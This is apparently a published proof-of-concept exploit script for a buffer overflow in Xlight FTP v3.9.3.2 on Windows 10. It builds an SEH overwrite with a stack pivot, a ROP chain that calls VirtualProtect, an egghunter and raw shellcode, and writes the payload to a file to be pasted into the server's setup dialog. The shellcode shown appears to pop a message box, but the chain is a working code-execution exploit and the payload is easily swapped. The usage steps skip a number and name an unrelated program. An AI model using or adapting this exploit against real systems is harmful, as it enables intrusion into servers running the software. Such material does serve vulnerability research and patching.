# Exploit Title: Xlight FTP v3.9.3.2 - Buffer Overflow (SEH Egghunter + ROP) # Exploit Author: Hejap Zairy # Date: 13.07.2022 # Software Link: http://www.xlightftpd.com/download/setup.exe # Tested Version: v3.9.3.2(2022-1-5) # Tested on: Windows 10 64bit # 1.- Run python code : 0day-Hejap_Zairy.py # 2.- Open 0day_Hejap.txt and copy All content to Clipboard # 3.- Open Audio Conversion Wizard and press Enter Code # 5.- Click 'Server ip ' -> 'General' -> 'Advanced' -> 'Excute a program after user logged in ' -> 'Setup' # 6.- Crashed # Author Code By Hejap Zairy #!/usr/bin/env python # Auther Hejap Zairy #!/usr/bin/env python import struct ##================================================================================ ## 2022-03-12 16:54:06 ##================================================================================ ##----------------------------------------------------------------------------------------------------------------------------------------- ## Module info : ##----------------------------------------------------------------------------------------------------------------------------------------- ## Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path ##----------------------------------------------------------------------------------------------------------------------------------------- ## 0x76aa0000 | 0x76ae4000 | 0x00044000 | True | True | True | False | True | 10.0.17763.1 [SHLWAPI.dll] (C:\Windows\System32\SHLWAPI.dll) ## 0x76970000 | 0x76a93000 | 0x00123000 | True | True | True | False | True | 10.0.17763.1490 [ucrtbase.dll] (C:\Windows\System32\ucrtbase.dll) ## 0x766a0000 | 0x766bc000 | 0x0001c000 | True | True | True | False | True | 10.0.17763.1075 [profapi.dll] (C:\Windows\System32\profapi.dll) ## 0x76340000 | 0x763c0000 | 0x00080000 | True | True | True | False | True | 10.0.17763.1 [msvcp_win.dll] (C:\Windows\System32\msvcp_win.dll) ## 0x75680000 | 0x757ea000 | 0x0016a000 | True | True | True | False | True | 10.0.17763.1879 [gdi32full.dll] (C:\Windows\System32\gdi32full.dll) ## 0x75a60000 | 0x75bfe000 | 0x0019e000 | True | True | True | False | True | 10.0.17763.1 [CRYPT32.dll] (C:\Windows\System32\CRYPT32.dll) ## 0x74ff0000 | 0x74fff000 | 0x0000f000 | True | True | True | False | True | 10.0.17763.1 [kernel.appcore.dll] (C:\Windows\System32\kernel.appcore.dll) ## 0x00400000 | 0x006d5000 | 0x002d5000 | False | False | False | False | False | 3.9.3.2 [xlight.exe] (C:\Users\Tarnished\Desktop\Xlight\xlight.exe) ## 0x74870000 | 0x74909000 | 0x00099000 | True | True | True | False | True | 10.0.17763.1075 [ODBC32.dll] (C:\Windows\SYSTEM32\ODBC32.dll) ## 0x74b20000 | 0x74bbc000 | 0x0009c000 | True | True | True | False | True | 10.0.17763.1 [apphelp.dll] (C:\Windows\SYSTEM32\apphelp.dll) ## 0x76280000 | 0x76297000 | 0x00017000 | True | True | True | False | True | 10.0.17763.1 [win32u.dll] (C:\Windows\System32\win32u.dll) ## 0x75c50000 | 0x761a6000 | 0x00556000 | True | True | True | False | True | 10.0.17763.1911 [SHELL32.dll] (C:\Windows\System32\SHELL32.dll) ##0x006d4270 : kernel32.loadlibrarya | 0x76ce2280 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe) ##0x006d4258 : comdlg32.getopenfilenamea | 0x77226240 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe) ##0x006d427c : kernel32.virtualprotect | 0x76ce0c10 | startnull,asciiprint,ascii {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe) ##0x006d4278 : kernel32.getprocaddress | 0x76ce05a0 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe) # RopFunc syscall null badchars = [0x00,0x0a,0x0d,0x3a,0xff] buf = b"" buf += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" buf += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" buf += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" buf += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" buf += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" buf += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" buf += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" buf += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" buf += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" buf += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" buf += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\xef" buf += b"\xce\xe0\x60\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" buf += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" buf += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" buf += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" buf += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68" buf += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c" buf += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x61\x69\x72" buf += b"\x79\x68\x61\x70\x20\x5a\x68\x20\x48\x65\x6a\x68\x30" buf += b"\x64\x61\x79\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2" buf += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" def Hejap_rop_chain(): Hejap_gadgets = [ 0x75c4f468, # POP EBX # RETN [windows.storage.dll] ** REBASED ** ASLR 0x7731c2a0, # ptr to &VirtualProtect() [IAT CRYPT32.dll] ** REBASED ** ASLR 0x75deb176, # MOV ESI,DWORD PTR DS:[EBX] # RETN [windows.storage.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ebp:---] 0x7545eebb, # POP EBP # RETN [SHLWAPI.dll] ** REBASED ** ASLR 0x75ff2bdb, # & call esp [msvcp_win.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ebx:---] 0x755d53b2, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 0xfffffdff, # Value to negate, will become 0x00000201 0x74d241d7, # NEG EAX # RETN [USER32.dll] ** REBASED ** ASLR 0x75e72ff1, # XCHG EAX,EBX # RETN [windows.storage.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edx:---] 0x765a2dad, # POP EAX # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR 0xffffffc0, # Value to negate, will become 0x00000040 0x75297b65, # NEG EAX # RETN [gdi32full.dll] ** REBASED ** ASLR 0x76a3b05a, # XCHG EAX,EDX # RETN [SHELL32.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_ecx:---] 0x72bb29ef, # POP ECX # RETN [UXTHEME.DLL] ** REBASED ** ASLR 0x7774f16b, # &Writable location [ntdll.dll] ** REBASED ** ASLR #[---INFO:gadgets_to_set_edi:---] 0x77275d3d, # POP EDI # RETN [CRYPT32.dll] ** REBASED ** ASLR 0x75849686, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR #[---INFO:gadgets_to_set_eax:---] 0x72bf2465, # POP EAX # RETN [UXTHEME.DLL] ** REBASED ** ASLR 0x90909090, # nop #[---INFO:pushad:---] 0x76a37959, # PUSHAD # RETN [SHELL32.dll] ** REBASED ** ASLR ] return ''.join(struct.pack('<I', _) for _ in Hejap_gadgets) egg = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egg+="\xef\xb8\x68\x30\x30\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" rop_chain = Hejap_rop_chain() offset = 452 nseh = "\x90" * 4 junk = "A" * (offset - len(nseh)) stackpivot = struct.pack('<I', 0x8e648b26 ) # POP ESP # POP EBP # RETN ** [xlight.exe #seh = struct.pack('<I', 0x0019ccb8 ) null buffer = junk + nseh + stackpivot + rop_chain + "\x90" * 5 + egg + 'h00ph00p' + buf + "\x90" * (1000 - len(egg)-len(stackpivot)) f = open("0day_hejap.txt", "w") f.write(buffer) f.close() # Proof and Exploit: https://i.imgur.com/jMURHQF.png https://i.imgur.com/aw6hZo2.png #Video https://streamable.com/gmqz5x